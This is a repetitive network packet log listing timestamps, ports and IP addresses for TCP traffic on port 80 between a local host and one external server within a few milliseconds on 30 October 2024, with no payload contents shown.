Oct 30, 2024 00:20:19.729970932 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730004072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730036974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730046988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730070114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730072975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730103970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730138063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730139971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730190039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730222940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730232000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730256081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730305910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730338097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730353117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730371952 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730375051 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730406046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730443954 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730457067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730489016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730521917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730556965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730570078 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730592012 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730593920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730639935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730673075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730676889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730705976 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730745077 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730756998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730789900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730823040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730856895 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730863094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730906963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730938911 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730942965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.730976105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.730978012 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731008053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731043100 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731059074 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731092930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731126070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731164932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731173038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731206894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731247902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731256008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731288910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731292963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731342077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731374979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731381893 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731424093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731457949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731461048 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731491089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731539965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731542110 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731574059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731606007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731616020 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731638908 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731682062 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731692076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731723070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731756926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731781960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731790066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731822968 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731825113 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731858015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731892109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731893063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731924057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731956959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.731966019 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.731988907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732023001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732031107 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732055902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732090950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732117891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732140064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732173920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732203960 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732212067 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732238054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732239008 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732270956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732302904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732322931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732336998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732368946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732386112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732419014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732450962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732455969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732484102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732517958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732558966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732567072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732599020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732604027 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732650042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732682943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732686043 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732716084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732748032 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732783079 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732804060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732851982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732884884 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732888937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732919931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.732933998 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732968092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.732996941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733016014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733048916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733083010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733087063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733117104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733149052 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733177900 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733182907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733217001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733221054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733251095 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733284950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733318090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733319998 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733350039 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733359098 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733383894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733414888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733422041 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733449936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733483076 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733493090 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733520031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733567953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733601093 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733604908 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733650923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733684063 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733686924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733716965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733717918 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733750105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733782053 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733787060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733831882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733864069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733865976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733896971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733931065 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.733968973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.733982086 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734014034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734046936 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734050989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734081984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734082937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734116077 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734148979 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734181881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734186888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734215021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734249115 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734251976 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734278917 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734280109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734313965 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734347105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734354973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734395981 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734427929 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734432936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734462023 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734494925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734509945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734546900 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734580040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734581947 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734612942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734646082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734647036 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734678030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734711885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734715939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734745026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734776974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734810114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734817982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734843016 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734843969 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734877110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734908104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734945059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734946966 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.734977961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.734981060 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735011101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735050917 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735089064 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735100985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735150099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735183001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735188007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735214949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735217094 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735265970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735301018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735333920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735367060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735399961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735410929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735433102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735466003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735467911 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735498905 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735532999 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735579014 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735579967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735611916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735646009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735650063 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735677958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735681057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735714912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735750914 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735764027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735797882 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735830069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735836029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735881090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735913992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735945940 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.735949993 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.735977888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736016035 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736028910 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736061096 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736063957 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736098051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736148119 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736171007 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736181974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736232042 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736264944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736273050 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736296892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736334085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736336946 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736366034 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736367941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736401081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736433983 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736449003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736474037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736506939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736509085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736541033 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736573935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736603022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736608028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736639977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736643076 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736675024 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736707926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736713886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736741066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736773014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736778975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736805916 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736839056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736856937 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736871004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736903906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736937046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.736943960 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.736968994 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737001896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737001896 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737032890 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737034082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737066031 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737101078 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737102985 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737135887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737170935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737175941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737204075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737236977 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737270117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737273932 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737303019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737337112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737339973 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737369061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737370968 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737401962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737435102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737468958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737478971 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737504005 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737515926 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737538099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737570047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737577915 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737602949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737636089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737639904 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737668037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737700939 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737723112 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737734079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737767935 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737787962 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737799883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737832069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737838030 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737867117 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737900019 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737924099 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737934113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737966061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.737974882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.737998962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738033056 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738034964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738068104 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738101006 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.738114119 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.738133907 CET	80	49712	185.215.113.16	192.168.2.5
